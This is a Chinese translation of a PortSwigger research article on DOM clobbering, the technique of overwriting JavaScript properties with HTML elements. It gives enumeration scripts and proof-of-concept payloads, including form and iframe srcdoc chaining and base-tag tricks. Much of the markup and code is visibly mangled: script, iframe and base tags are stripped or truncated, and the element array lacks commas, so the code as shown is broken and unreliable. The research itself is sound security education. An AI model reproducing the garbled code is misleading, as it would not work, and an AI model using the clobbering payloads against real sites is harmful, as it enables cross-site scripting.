DOM Clobbering重见天日
原文: https://portswigger.net/research/dom-clobbering-strikes-back
作者:Gareth Heyes
随着诸如XSS和CSRF之类的经典客户端漏洞被修复,与CSP和同源相关的漏洞也不再提及,像是DOM Clobbering这样的攻击技术变得越来越重要。最近,在我首次于2013年介绍该项技术后,Michal Bentkowski利用DOM Clobbering攻击了Gmail。在这篇文章中,我会简单介绍一下DOM Clobbering技术,在我原本的研究中加入一些新的技术,同时分享两个交互的实验室,这样你可以自己尝试这些新技术。如果你还不熟悉DOM Clobbering,或许你想先阅读一下Web Security Academy中我们对其的介绍。
确定DOM元素间的关系
首先,获得可以组合在一起的HTML元素列表十分简单。你只需要把两个HTML元素相邻放置,分别为其分配一个ID,然后检查第一个元素是否具有第二个元素的属性。代码如下:
var log=[]; var html = ["a""abbr""acronym""address""""area""article""aside""audio""b""""font""bdi""bdo""""big""""blockquote""body""br""button""canvas""caption""center""cite""code""col""colgroup""command""content""data""datalist""dd""del""details""dfn""dialog""dir""div""dl""dt""element""em""""fieldset""figcaption""figure""font""footer""form""""set""h1""head""header""hgroup""hr""html""i""i""image""img""input""ins""isindex""kbd""keygen""label""legend""li""""listing""main""map""mark""marquee""menu""menuitem""""meter""multicol""nav""nextid""nobr""no""nos""no""""ol""optgroup""option""output""p""param""picture""plaintext""pre""progress""q""rb""rp""rt""rtc""ruby""s""samp""""p""select""shadow""slot""small""source""spacer""span""strike""strong""""sub""summary""sup""svg""table""tbody""td""template""textarea""tfoot""th""thead""time""""tr""track""tt""u""ul""var""video""wbr""xmp"] logs = []; div=document.createElement('div'); for(var i=0;i<html.length;i++) { for(var j=0;j<html.length;j++) { div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>'; document.body.appendChild(div); if(window.element1 && element1.element2){ log.push(html[i]+''+html[j]); } document.body.removeChild(div); } } console.log(log.join('\n'));
代码执行结果与预期相似,产生了一个包含与表单相关的元素和图像元素的列表。
form->button
form->fieldset
form->image
form->img
form->input
form->
form->output
form->select
form->textarea
所以,如果你想破坏一个对象的x.y.value值,可以这样做:
<form id=x><output id=y>I've been clobbered</output> <> alert(x.y.value); </>
当然你也可以用我之前的技巧,使用id和name属性组成一个DOM集合。一个DOM集合类似包含多个DOM元素的数组。你可以通过数字索引或其名字访问集合中的元素。
<a id=x><a id=x name=y href="Clobbered"> <> alert(x.y) </>
新的DOM Clobbering技术
通过使用带有表单的DOM集合,可以深入破坏三个层次(感谢@PwnFunction的纠正)
<form id=x name=y><input id=z></form> <form id=x></form> <> alert(x.y.z) </>
在Chrome中,如果在父表单中使用带有表单控件或者图像元素时,你可以将这组元素变成类似数组的对象。Chrome把这类对象标记为[ RadioNodeList],并且可以使用forEach这样数组中存在的方法。
<form id=x> <input id=y name=z> <input id=y> </form> <> x.y.forEach(element=>alert(element)) </>
你可能好奇为什么不只使用属性(attributes)。好吧,只有在HTML规范将其定义为有效属性时,该属性才起作用。这就意味着,任何未被定义有效的属性都不具有DOM属性(property),所以是未定义的。例如:
<form id=x y=123></form> <> alert(x.y)//未定义 </>
你可以轻易在DOM中搜索可以被破坏的属性:
var html = [...]//HTML元素数组 var props=[]; for(i=0;i<html.length;i++){ obj = document.createElement(html[i]); for(prop in obj) { if(typeof obj[prop] === 'string') { try { props.push(html[i]+':'+prop); }catch(e){} } } } console.log([...new Set(props)].join('\n'));
上面的代码会显示为字符串的DOM属性,但是它们不一定可控。如果想要检查它们是否在某种程度上可控,你可以尝试给该属性赋值,并读取该值。
var html = [...]//HTML elements array var props=[]; for(i=0;i<html.length;i++){ obj = document.createElement(html[i]); for(prop in obj) { if(typeof obj[prop] === 'string') { try { DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>'; if(document.getElementById('x')[prop] == 1) { props.push(html[i]+':'+prop); } }catch(e){} } } } console.log([...new Set(props)].join('\n'));
在运行上述所有代码时,我注意到结果中的"username"和"password"有两个空白字符串。这些是锚标记的DOM属性,而不是HTML属性。看起来你可以通过锚来控制这些值。通过反复实验,我发现这些属性与FTP URL中的用来提供凭据的用户名、密码部分有关。这也适用于使用@符号提供用户名和密码的HTTP URL。
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a"> <> alert(x.username)//Clobbered-username alert(x.password)//Clobbered-password </>
你可能已经注意到在使用诸如href这样可以被破坏的属性时,浏览器通常会对这些值进行URL编码。想要解决该问题,可以使用不同的协议,例如file:或者其他协议。
<a id=x href="abc:<>"> <> alert(x)//abc:<> </>
Firefox还允许你在标签中使用其他协议,该协议会被锚使用,同时允许未编码的值。
< href=a:abc><a id=x href="Firefox<>"> <> alert(x)//Firefox<> </>
也可以在Chrome中做同样的事,只不过这次要在标签的href属性中提供你想要的值:
< href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123> <> alert(x.xyz)//a://Clobbered<> </>
我们已经在Web Security Academy中发布了两个基于该技术构建的交互式DOM实验室,你可以自己尝试:
Clobbering to enable XSS lab
Clobbering attributes lab
更新:破坏多于三层
@Terjanq提到,可以使用is和srcdoc破坏多层的属性。因为如果在一个i上设置了name属性,该i真正的contentWindow会分配给这个name中的全局变量,所以该技术是有效的。之后,你就可以将该i中的HTML元素链接在一起。例如:
<i name=a srcdoc=" <i srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></i> <>setTimeout(()=>alert(a.b.c.d)500)</>
你可能已经注意到,该技术需要使用setTimeout函数引发延迟来渲染i。不过我找到了一种不需要timeout的使用i的方法!如果你使用了/元素来导入样式表,这会导致一个小的延迟,从而使i能立即被渲染并被破坏。工作方式如下:
<i name=a srcdoc=" <i srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></i> <>@import '//portswigger.net';</> <> alert(a.b.c.d) </>